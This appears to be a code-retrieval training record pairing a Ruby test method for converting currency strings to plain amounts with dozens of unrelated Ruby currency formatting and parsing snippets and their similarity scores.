puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1,000,000.50\".format_from_currency( \"\", \",\",true)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"�1,000,000.5 to 1000000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"�1,000,000.5\".format_from_currency(\"�\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"0.5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"0.5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \".5 to 0.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".5\".format_from_currency(\"\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$1. to 1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$1.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"$. to 0.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"$.\".format_from_currency(\"$\", \",\", false)\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n\n\n rescue => e\n\n puts2(\"Error and Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"),\"error\")\n\n # Raise the error\n raise(\"*** TESTCASE - test_Currency_003_Format_From_Amount\")\n\n ensure\n\n end # convert_StringFromCurrency\n\n end",
"def te_st_Currency_001_CommaDelimit\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_001_CommaDelimit\")\n puts2(\"#######################\")\n\n\n fFloatsToDelimit = [1.00, 12.00, 123.00, 1234.00, 12345.00, 123456.00, 1234567.00,12345678.1234, 0.000000]\n\n for fFloat in fFloatsToDelimit\n sFloat = fFloat.comma_delimit(\",\")\n puts2(\"Delimited: \" + fFloat.to_s + \" to: \" + sFloat.to_s)\n end\n\n #end convert_StringToCurrency\n\n end",
"def test_number_to_currency\n\t\tassert ActionView::Helpers::NumberHelper\n\t\tobj = ActionView::Base.new\n\t\tassert_respond_to obj, 'number_to_currency'\n\t\tassert_respond_to obj, 'orig_number_to_currency'\n\t\t\n\t\tassert_equal \"$1,234,567,890.51\", obj.number_to_currency(1234567890.506), \"NOTE: This currency test should fail if locale has different currency format\"\n\tend",
"def currency_format string\n while string.sub!(/(\\d+)(\\d\\d\\d)/,'\\1,\\2'); end\n string\n end",
"def currency_converter amount, location\n case location\n when 'US' then \"$%.2f\" % amount\n when 'Japan' then \"$%.0f\" % amount\n when 'UK' then (\"$%.2f\" % amount).gsub('.', ',')\n end\nend",
"def get_USD (num_string)\n if num_string == nil || num_string.to_i == 0\n return num_string\n end\n\n num_string = num_string.to_s.split(\"\")\n\n usd = [\"$\"]\n\n num_string.each_with_index do |num, index|\n if index == ((num_string.length) -1)\n usd << \"#{num}.00\"\n elsif index != 0 && index % 3 == 0\n usd << \",#{num}\"\n else\n usd << num.to_s\n end\n end\n return usd.join(\"\")\n end",
"def currency(amount)\n number_to_currency amount.to_s, {:unit => \"\", :delimiter => ',', :seperator => '.'}\n end",
"def parse(input, currency, strict: false, decimal_separator: decimal_separator_resolver&.call)\n raise ArgumentError, \"decimal separator cannot be nil\" unless decimal_separator\n\n currency = Money::Helpers.value_to_currency(currency)\n return unless currency\n\n normalized_input = input\n .tr('-0-9.,、、', '-0-9.,,,')\n .gsub(/[^\\d\\-#{Regexp.escape(decimal_separator)}]/, '')\n .gsub(decimal_separator, '.')\n amount = BigDecimal(normalized_input, exception: false)\n if amount\n Money.new(amount, currency)\n elsif strict\n raise ArgumentError, \"unable to parse input=\\\"#{input}\\\" currency=\\\"#{currency}\\\"\"\n end\n end",
"def test_converter_takes_3_currencies\n assert_equal({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0},\n Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74, 'JPY' => 120.0}).currency_list)\n end",
"def to_currency\n reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\n end",
"def delimiters(text)\n dots = text.count('.')\n has_dots = dots > 0\n\n has_commas = text.include?(',')\n has_spaces = text.include?(' ')\n\n possible_dollars, possible_cents = text.split('.') if dots == 1\n\n single_dot_cents_delimiter = dots == 1 &&\n !has_commas && !has_spaces &&\n (possible_dollars.to_i == 0 || (possible_cents.length > 2 && possible_cents.to_i != 0))\n\n cents_delimiter = if has_dots && text.match(/\\.[0-9]{1,2}$/)\n '.'\n elsif has_commas && text.match(/,[0-9]{1,2}$/)\n ','\n elsif single_dot_cents_delimiter\n '.'\n end\n\n thousands_delimiter = if cents_delimiter == '.' && has_commas\n ','\n elsif cents_delimiter == ',' && has_dots\n '.'\n end\n if thousands_delimiter.nil? && cents_delimiter.nil?\n thousands_delimiter = if has_dots\n '.'\n elsif has_commas\n ','\n end\n end\n\n thousands_delimiter = ' ' if thousands_delimiter.nil? && has_spaces\n\n if !cents_delimiter.nil? && text.count(cents_delimiter) > 1\n warn('invalid input')\n cents_delimiter = nil\n thousands_delimiter = nil\n end\n\n # puts \"#{text} => cents, thousands => #{[cents_delimiter, thousands_delimiter]}\"\n raise if !cents_delimiter.nil? && !thousands_delimiter.nil? && cents_delimiter == thousands_delimiter\n\n [cents_delimiter, thousands_delimiter]\nend",
"def test_convert_method\n convert_test = Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).convert( Currency.new('USD', 10), 'EUR' )\n assert_equal(Currency.new('EUR', 7.40), convert_test)\n end",
"def format_money(num)\n if num == WebScraper::NOT_APPLICABLE\n num\n else\n num[num.length] = '0' if num.index('.') == num.length - 2 # add a 0 if only 1 decimal place given\n WebScraper::MONEY_UNITS + num.gsub(WebScraper::COMMAS_REG_EXP, '\\\\1,')\n end\n end",
"def gsubber(money)\n money.split(/^[\\D|$]{2,3}/).pop\n money.gsub!(/^[\\D|$]{2,3}/,'')\n money.gsub!(/k$/i,'000')\n money.gsub!(/,/,'')\n money.gsub!(/\\.0+/,'')\n end",
"def format_currency(amount, chopOff)\n result = amount.to_s\n if chopOff\n 2.times do result.chop! end #takes off the .0\n end\n if result.length <= 3\n result = \"$\" + result\n elsif result.length >= 4 && result.length <=6\n idx = result.length - 3\n result = \"$\" + result[0,idx] + \",\" + result[(idx)..(idx + 2)]\n elsif result.length >= 7 && result.length <=9\n idx = result.length - 6\n result = \"$\" + result[0,idx] + \",\" + result[(idx)..(idx + 2)] + \",\" + \n result[(idx + 3)..(idx + 5)]\n end\n return result\n end",
"def check_value(text)\n\n #this method recieves a string representing a payment value in the format 19,470.99\n #Then it takes off the comma (\",\") and parse it to float format as 19470.99\n begin\n return text.gsub(\",\",\"\").to_f\n rescue\n return nil\n end\n\n end",
"def parse_amount amount_string\n if amount_str.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def validate_currency_format\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_one)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_two)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_three)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_four)\n raise 'Value is not in currency format' unless ValuesLib.check_currency_format(text_value_five)\n raise 'Total is not in currency format' unless ValuesLib.check_currency_format(total_values)\n end",
"def amt\n amount.gsub(/,|\\)'/, '')\n end",
"def parse_amount amount_string\n if amount_string.index(\".\") == 0\n amount_str = \"0\"+amount_str.to_s\n end\n amount_string.gsub(/[^\\d\\.]/, \"\").scan(/\\d+\\.?\\d*/)[0].to_f rescue nil\n end",
"def money(amount)\n number_to_currency amount.to_s, {:unit => 'R ', :delimiter => ',', :seperator => '.'}\n end",
"def currency_as_string; end",
"def parse_price(val, ele)\n val.gsub(/[ ,]/, ' ' => '', ',' => '.')\n end",
"def parse_price(val, ele)\n val.gsub(/[ ,]/, ' ' => '', ',' => '.')\n end",
"def format_amount(total_amount)\r\n total_amount_array=total_amount.split(\".\")\r\n\r\n if total_amount_array[1] and total_amount_array[1].size<=1\r\n total_amount_array[1]=total_amount_array[1]+\"0\"\r\n end\r\n if total_amount_array[1]\r\n total_amount=total_amount_array[0]+total_amount_array[1]\r\n end\r\n return total_amount\r\n end",
"def convert_money(currency)\n return currency.to_f / 100\n # if currency.to_s.include?(\".\")\n # return currency\n # else\n # return currency.to_f / 100\n # end\n end",
"def convert_to(convert_currency)\n Money::Converter.new(amount, currency, convert_currency).convert \n end",
"def transaction_amount(currency_and_amount)\n currency = parse(currency_and_amount).first\n if currency == 'USD'\n amount = parse(currency_and_amount).last.to_f\n else\n amount = currency.to_f unless amount == 0.0\n end\n# self.amount = amount \n end",
"def dollar amt\n #TOOD: need commas in the right places\n sprintf \"$%0.02f\", amt\nend",
"def format_price(price)\n price.gsub!(\"€\",\"\")\n price.gsub!(\".\",\"\")\n price.gsub!(\",\",\".\").to_f\n end",
"def split_decimal(total_amount)\r\n total_amount = total_amount.to_s\r\n total_amount_array=total_amount.split(\".\")\r\n if total_amount_array[1]== \"00\" or total_amount_array[1]== \"0\"\r\n total_amount=total_amount_array[0]\r\n end\r\n return total_amount\r\n end",
"def to_currency(num)\n format(\"$%.2f\",num)\nend",
"def getValueAllServices\n ActionController::Base.helpers.number_to_currency(totalValueServices, precision: 0, delimiter: \".\")\n end",
"def format\n \"#{amount} #{currency}\"\n end",
"def standardize_currency(input)\n plurals = @currency_set.keys.map{|key| key.pluralize}\n\n plurals.each do |word|\n input.gsub!(/#{word}/,word.singularize)\n end #standardize to singular word for lookup\n\n input.gsub!(/\\s/,\"\") #standardizes spacing\n input.split(\",\")\n end",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def to_price(amount)\n amount.to_s.gsub(/[^\\d]/, \"\").gsub(/^(\\d+)(\\d{2})$/, '\\1.\\2').to_f\n end",
"def thousands_separator; end",
"def collection_currency\n card_prices = []\n current_user.cards.each do |card|\n price = remove_dot(card.usd_price)\n card_prices << Money.new(price) * card.quantity \n end\n # call `format`\n card_prices.inject(:+) \n end",
"def convert_money(from_currency,to_currency)\n exchanger = Exchanger.new(find_wallet_account(from_currency),find_wallet_account(to_currency), find_exchange_rate(from_currency, to_currency))\n exchanger.exchange(:all)\n end",
"def test_convert_currency_one_to_two\n #AGAIN....test passes if it doesn't work\n assert_raises ArgumentError do \n @apples_to_oranges.convert_currency_one_to_two\n end\n\n @converted_value = @apples_to_oranges.convert_currency_one_to_two(@amount)\n @expected_value = @amount*@apples_to_oranges.conversion_rate\n\n # This test will pass if it is right!\n assert_equal @expected_value, @converted_value\n end",
"def number_to_currency(amount)\n super(amount, unit: \"₹\")\n end",
"def parse_amount_owed text_amount\n (parse_amount_cents text_amount).abs\n end",
"def stringify amount, currency, opts={}\n definition = definitions[currency]\n separators = definition[:separators] || {}\n format = \"%.#{definition[:minor_unit]}f\"\n string = format % amount\n major, minor = string.split('.')\n\n major.gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/) { $1 + separators[:major] } if separators[:major] && opts[:format] != :plain\n\n string = minor ? major + (opts[:format] == :plain || !separators[:minor] ? '.' : separators[:minor]) + minor : major\n pre = [[:amount, :plain].include?(opts[:format]) && '', opts[:format] == :symbol && definition[:symbol], currency.to_s.upcase + ' '].detect{|a| a.is_a?(String)}\n\n \"#{pre}#{string}\"\n end",
"def parse_currency(currency)\n BigDecimal.new(currency.gsub(/[^0-9.-]/, ''))\n end",
"def setup(currency)\n iso4217 = currency.to_s.upcase\n ::Kernel.__send__ :define_method, iso4217 do |amount|\n value = [ iso4217, amount ].join ' '\n Monetize.parse value\n end\n end",
"def strip_commas_from_prices\n params[:product][:price] = params[:product][:price].gsub(',', '')\n unless params[:product][:flatrate_shipping_cost].nil?\n params[:product][:flatrate_shipping_cost] = params[:product][:flatrate_shipping_cost].gsub(',', '')\n end\n unless params[:product][:international_flatrate_shipping_cost].nil?\n params[:product][:international_flatrate_shipping_cost] = params[:product][:international_flatrate_shipping_cost].gsub(',', '')\n end\n end",
"def to_ps_money\n return nil if self.nil?\n return \"00\" if self.to_f == 0\n \n value = self.to_s\n\n # obtem a parte fracionaria e transforma em string.\n frac = value.to_f - value.to_i\n frac = frac.to_s + \"0\" \n frac = frac[2..3]\n # Se tiver parte inteira, concatena com a parte fracionaria\n inteiro = \"\"\n inteiro = value.to_i.to_s if value.to_f.truncate > 0\n inteiro + frac\n end",
"def acc_currency\n @page.css(\"span[data-semantic = 'header-available-balance-amount']\").text.to_money.currency.to_s\n end",
"def currency_as_string=(val); end",
"def currency_conversion(price = 0.0)\n exchange = 6.98\n price * exchange\nend",
"def get_money_get_paid(column)\n column.transform { |e| \n if e.include?(\"AMOUNT\")\n e\n elsif e.include?(\"AMT\")\n e\n elsif e.to_i < 10\n e.insert(-1, \".00\")\n e.insert(0, \"$\")\n else \n e.insert(-3, \".\")\n e.insert(0, \"$\") \n end \n }\nend",
"def currency; end",
"def currency; end",
"def disallow_currency_conversion!; end",
"def parse_price(price)\n return price unless price.is_a?(String)\n\n separator, delimiter = I18n.t([:'number.currency.format.separator', :'number.currency.format.delimiter'])\n non_price_characters = /[^0-9\\-#{separator}]/\n price.gsub!(non_price_characters, '') # strip everything else first\n price.gsub!(separator, '.') unless separator == '.' # then replace the locale-specific decimal separator with the standard separator if necessary\n\n price.to_d\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def to_str_currency(amount)\n\n amount_fix = amount * 100\n\n return Money.new(amount_fix, \"CAD\").format\n\n end",
"def strip_formatting_from_numbers \t# to remove commas added to web form for readability\n\t\tif self.income.include? \",\"\n\t\t\tself.income = self.income.to_s.gsub!(/\\D+/, '').to_i\n\t\tend\n\t\tif self.debt.include? \",\"\n\t\t\tself.debt = self.debt.to_s.gsub!(/\\D+/, '').to_i\n\t\tend\n\t\tif self.down_payment.include? \",\"\n\t\t\tself.down_payment = self.down_payment.to_s.gsub!(/\\D+/, '').to_i\n\t\tend\n\tend",
"def format_money(amount)\n amount = '%.2f' % amount.to_f\n return \"$#{amount}\"\nend",
"def to_usd(amt, currency)\n unless currency == \"USD\"\n path = @xml_parser.find_conversion_path(currency, \"USD\")\n amount = @xml_parser.get_rates_from_xml(path[0])\n #pp path # print the path array (for debug if you need it)\n\n #conversion = find_conversion_amt(currency, \"USD\")\n else\n conversion = BigDecimal.new('1') \n end\n amt = BigDecimal(amt)\n amount = amt * conversion\n #puts \"amount is #{amount}\"\n round_banker_style(amount)\n end",
"def test_to_s\n\t\titem1 = LogItem.new(\"PEACH\", Date.parse(\"1212-12-12\"), 1)\n\t\tassert( item1.to_s == \"1212-12-12,PEACH\" )\n\tend",
"def detect_currency value\n case value.to_s.strip\n when /\\$|USD|dollar[s]?|бакс[а-я]{0,2}|доллар[а-я]{0,2}|грин[а-я]?/i\n :USD\n when /€|EUR[a-z]{0,2}|евро/i\n :EUR\n when /₽|RUB{0,4}|руб[a-zа-я]{0,4}|деревян[a-zа-я]{0,3}/i\n :RUB\n when /CAD/i\n :CAD\n else\n :not_expected\n end\nend",
"def test_basic_conversions\n assert_equal 1.292, 1.euro\n assert_equal 0.019, 1.rupee\n assert_equal 0.013, 1.yen\n assert_equal 1, 1.dollar\n end",
"def test_converter_takes_hash_input\n assert_equal({'USD' => 1.00, 'EUR' => 0.74}, Currency_Converter.new({'USD' => 1.00, 'EUR' => 0.74}).currency_list)\n end",
"def format_amount(amount)\n ActionController::Base.helpers.number_to_currency(amount.to_f / 100)\n end",
"def to_price!\n # self.split('.') divides string into substring with '.' delimiter and returning array of this substrings\n # .first returns the first element of the array\n # .reverse returns a new string with the characters from str in reverse order\n # .gsub(pattern, replacement) returns a copy of str with the all occurrences of pattern substituted for the second argument\n self.split('.').first.reverse.gsub(/...(?=.)/, '\\&;psniht&').reverse\n end",
"def unit_formats(type)\n #find statements\n #if sales[0]< 1000 and tot assets[0] < 1000\n #$xxx,xxx.x\n #else\n #$xxx,xxx\n #end\n end",
"def convertToNum(price)\n \treturn Float(price.gsub(/\\s+/, \"\").gsub(\"USD \",\"\"))\n end",
"def test_for_various_length_inputs_for_commas\n assert_equal 10, @calculator.Add('10')\n assert_equal 20, @calculator.Add('10,10')\n assert_equal 30, @calculator.Add('10,10,10')\n assert_equal 101, @calculator.Add('1,0,0,0,100')\n end",
"def decimal_pelado(num)\n num.sub! ',', '' if num.is_a?(String) && num.include?(',')\n num.to_f\nend",
"def unit_helper(number, from_unit_string, to_unit_string)\n OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end",
"def currencify(number, options={})\n # :currency_before => false puts the currency symbol after the number\n # default format: $12,345,678.90\n options = {:currency_symbol => \"$\", :delimiter => \",\", :decimal_symbol => \".\", :currency_before => true}.merge(options)\n \n # split integer and fractional parts \n int, frac = (\"%.2f\" % number).split('.')\n # insert the delimiters\n int.gsub!(/(\\d)(?=(\\d\\d\\d)+(?!\\d))/, \"\\\\1#{options[:delimiter]}\")\n \n if options[:currency_before]\n options[:currency_symbol] + int + options[:decimal_symbol] + frac\n else\n int + options[:decimal_symbol] + frac + options[:currency_symbol]\n end\n\n end",
"def controller_add_commas(integer)\n integer.to_s.reverse.scan(/(?:\\d*\\.)?\\d{1,3}-?/).join(',').reverse\nend",
"def display_currency(amount)\n '$' + ('%.2f' % amount).chomp('.00')\n end",
"def currency_amount\n # define this elsewhere\n currencymark = '$'\n if self.credit?\n sprintf(\"%s%0.2f\",currencymark,self.amount)\n else\n # put minus sign before dollar\n sprintf(\"-%s%0.2f\", currencymark, self.amount.abs)\n end\n end",
"def currency_conversions(price = 0.0)\n convert_dollars = price * EXCHANGE_DOLLARS\n convert_euros = price * EXCHANGE_EUROS\n return convert_dollars, convert_euros\nend",
"def convert_to_euros_1(dollars)\n dollars * 0.95 if dollars.is_a?(Numeric)\nend",
"def to_humanized(m, locale = I18n.locale)\n # TODO: Remove feature flag\n if FeatureFlagHelper.feature_enabled?(:currency_formatting)\n return \"\" if m.nil?\n\n # Explicitly resolve formatting. WebTranslateit resolves\n # translations to nils which causes an error with number_to_currency\n formatting = currency_format(locale)\n precision = m.currency.exponent.to_i\n zero_cents = \"0\" * precision\n\n number_to_currency(m.amount,\n unit: m.symbol,\n delimiter: formatting[:delimiter],\n separator: formatting[:separator],\n format: formatting[:format],\n precision: m.currency.exponent.to_i)\n .tr(\" \", \"\\u202F\")\n .gsub(\"#{formatting[:separator]}#{zero_cents}\", \"\") # remove cents if they are zero\n .encode('utf-8')\n else\n humanized_money_with_symbol(m).upcase\n end\n rescue FeatureFlagHelper::FeatureFlagHelperNotInitialized\n humanized_money_with_symbol(m).upcase\n end",
"def add_commas(num_string)\n formatted_string = num_string.reverse.scan(%r/\\d{3}|\n \\d{1}[.]\\d{3}|\\d{2}[.]\\d{3}|.+/x).join(\",\").reverse\n formatted_string << '0' if formatted_string =~ /[.]\\d{1}$/\n formatted_string\nend",
"def test_converter_returns_error_for_unknown_currency\n assert_raises(UnknownCurrencyCodeError){Currency_Converter.new({'USD' => 1.00, 'JPY' => 120.0}).convert( Currency.new('JPY', 120.0), 'ALL' )}\n end",
"def currency(input)\n\t(/\\$?[+-]?[0-9]{1,3}((\\,)?[0-9]{3})*(\\.[0-9]{2})?/i =~ input)? \"true\" : \"false\"\nend",
"def result_credit\n @value = $from == 'lending' ? @@xp_txt_result : @@xp_txt_result_fees\n wait_displays(:xpath, @value, 2)\n get_result = get_element_text(:xpath, @value).gsub(/[.,$]/, '').strip\n get_result.should == $money\n end",
"def to_currency_z(val, currency=:usd)\n if currency == :usd\n ApplicationController.helpers.number_with_precision(val,\n precision: 2, separator: '.')\n else\n val\n end\n end",
"def format_amount(amount, currency)\n units = CURRENCY_SPECIAL_MINOR_UNITS[currency] || 2\n multiple = 10**units\n return ((amount || 0).to_d * multiple.to_d).to_i\n end",
"def print_money(value)\n number_with_delimiter( value , :delimiter => \",\")\n end",
"def formated_value(valor)\n number_to_currency(valor,:unit => \"R$\",:separator => \",\",:delimiter => \".\")\n end",
"def convert_to(target_currency)\n make_call(currencies(target_currency))\n end",
"def convert_to_euros(dollars)\n if dollars.is_a?(Numeric)\n dollars * 0.95\n end\nend",
"def to_units( units, thousands=0 )\n\t\treturn Units[ units ] + to_thousands( thousands )\n\tend",
"def extract_price(text)\n text.gsub('£', '').to_d\n end",
"def formated_in_provided_currency(amount_cents, currency_code, no_cents_if_whole = false)\n Money.new(amount_cents, currency_code).format(:no_cents_if_whole => no_cents_if_whole)\n end",
"def to_currency(value)\n go = (value/1000000000).floor\n mo = ((value - go*1000000000)/1000000).floor\n ko = ((value - go*1000000000 - mo*1000000)/1000).floor\n o = (value - go*1000000000 - mo*1000000 - ko*1000).floor\n\n o = \"00.#{o}\" if ( (o.length) == 1 )\n o = \"0.#{o}\" if ( (o.length) == 2 )\n\n result_string = o\n result_string = \"#{ko}...#{result_string}\" if ( ko != 0 )\n result_string = \"#{mo}...#{result_string}\" if ( mo != 0 )\n result_string = \"#{go}...#{result_string}\" if ( go != 0 )\n\n result_string = @currency.result_strin\n return(result_string)\n end",
"def convert hash\n currency = detect_currency hash[:currency]\n return nil if currency == :not_expected\n\n amount = (hash[:amount]).delete(' _').sub(',', '.').to_f\n usdrub_rate = (usd_base_json['rates']['RUB']).to_f\n usdeur_rate = (usd_base_json['rates']['EUR']).to_f\n usdcad_rate = (usd_base_json['rates']['CAD']).to_f\n\n rate = usdrub_rate\n rate = usdrub_rate / usdeur_rate if currency == :EUR\n rate = usdrub_rate / usdcad_rate if currency == :CAD\n\n change_currency = currency != :RUB ? :RUB : :USD\n result = change_currency == :RUB ? (amount * rate) : (amount / rate)\n\n \"#{space_in result.round(2)} #{change_currency}\"\nend",
"def dollars(str)\n return \"$%.2f\" % str\n end",
"def standardize\n self.amount ? self.amount = self.amount.split(\"\").drop(1).join(\"\").to_i : self.amount = nil\n self.limit ? self.limit = self.limit.split(\"\").drop(1).join(\"\").to_i : self.limit = nil\n end",
"def add_all_quantity_prices(str_prices)\n sums = 0\n\n str_prices.split(\",\").each do |price| \n sums += price.to_i \n end\n\n sums\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end",
"def as_us_dollar\n exchange_to(\"USD\")\n end"
] |
[
"0.75067717",
"0.6833451",
"0.6640417",
"0.6573491",
"0.64119256",
"0.5991208",
"0.59187347",
"0.58869374",
"0.58498573",
"0.577752",
"0.57726",
"0.5769322",
"0.5752853",
"0.571004",
"0.5699625",
"0.5643189",
"0.56113106",
"0.5605286",
"0.560388",
"0.56036747",
"0.55952466",
"0.55795056",
"0.5551091",
"0.5551091",
"0.55353093",
"0.5506804",
"0.55058396",
"0.5498039",
"0.54816616",
"0.5476718",
"0.54279315",
"0.5418864",
"0.5418075",
"0.5388923",
"0.5384844",
"0.53679055",
"0.53679055",
"0.5365353",
"0.53639215",
"0.534842",
"0.5341737",
"0.5337213",
"0.53241557",
"0.5282177",
"0.5266356",
"0.5253232",
"0.5249151",
"0.52482104",
"0.5245751",
"0.52362967",
"0.5236238",
"0.52357334",
"0.5229932",
"0.5229932",
"0.5229475",
"0.522631",
"0.52200174",
"0.52200174",
"0.52174664",
"0.52130306",
"0.5206353",
"0.5201495",
"0.51997477",
"0.51996684",
"0.5198518",
"0.519637",
"0.5190545",
"0.5185462",
"0.5176977",
"0.51625335",
"0.5160772",
"0.5155086",
"0.5154061",
"0.51532996",
"0.5148825",
"0.5148151",
"0.5143071",
"0.5140893",
"0.5133681",
"0.5132793",
"0.513262",
"0.5131479",
"0.51274633",
"0.51184434",
"0.51183534",
"0.5117487",
"0.51166934",
"0.51150787",
"0.5114979",
"0.5106889",
"0.5101388",
"0.50967926",
"0.5095983",
"0.50817645",
"0.50766665",
"0.50706935",
"0.50693333",
"0.50668097",
"0.50450945",
"0.50450945"
] |
0.7295269
|
1
|
End of test method test_Currency_002_Format_To_Amount ============================================================================= Testcase method: test_Currency_003_Format_From_Amount Description: Tests WatirWorks method: format_from_currency(...) Attempts to convert amounts to strings =============================================================================
|
def test_Currency_003_Format_From_Amount
puts2("")
puts2("#######################")
puts2("Testcase: test_Currency_003_Format_From_Amount")
puts2("#######################")
begin # convert_StringFromCurrency
############################
sThisTaskName = "$1,000 to 1000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000".format_from_currency("$", ",", true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1,000,000.00 to 1000000.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000,000.00".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "�1.000.50 to 1000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "�1.000.50".format_from_currency("�", ".", true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1.000.5 to 1000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1.000.5".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1,000,000.50 to $1000000"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1,000,000.50".format_from_currency( "", ",",true)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "�1,000,000.5 to 1000000.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "�1,000,000.5".format_from_currency("�", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "0.5 to 0.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "0.5".format_from_currency("", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = ".5 to 0.50"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = ".5".format_from_currency("", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$1. to 1.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$1.".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
sThisTaskName = "$. to 0.00"
puts2("")
puts2(" # BEGIN: " + sThisTaskName + " #")
sConvertedValue = "$.".format_from_currency("$", ",", false)
puts2("Formatted value = #{sConvertedValue.to_s}")
############################
rescue => e
puts2("Error and Backtrace: " + e.message + "\n" + e.backtrace.join("\n"),"error")
# Raise the error
raise("*** TESTCASE - test_Currency_003_Format_From_Amount")
ensure
end # convert_StringFromCurrency
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_Currency_002_Format_To_Amount\n\n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_Currency_002_Format_To_Amount\")\n puts2(\"#######################\")\n\n begin # convert_ToCurrency\n\n ############################\n sThisTaskName = \"1000 to $1,000.00\"\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000\".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \" 1000 to �1.000.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \" 1000 \".format_to_currency(\"�\", \".\")\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1000.5 to $1,000.50\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1000.5\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1.1 to $1.10\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1.1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n ############################\n sThisTaskName = \"1 to $1.00\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \"1\".format_to_currency()\n\n puts2(\"Formatted value = #{sConvertedValue.to_s}\")\n\n ############################\n sThisTaskName = \".01 to $0.01\"\n puts2(\"\")\n puts2(\" # BEGIN: \" + sThisTaskName + \" #\")\n\n sConvertedValue = \".01\".format_to_currency()\n\n 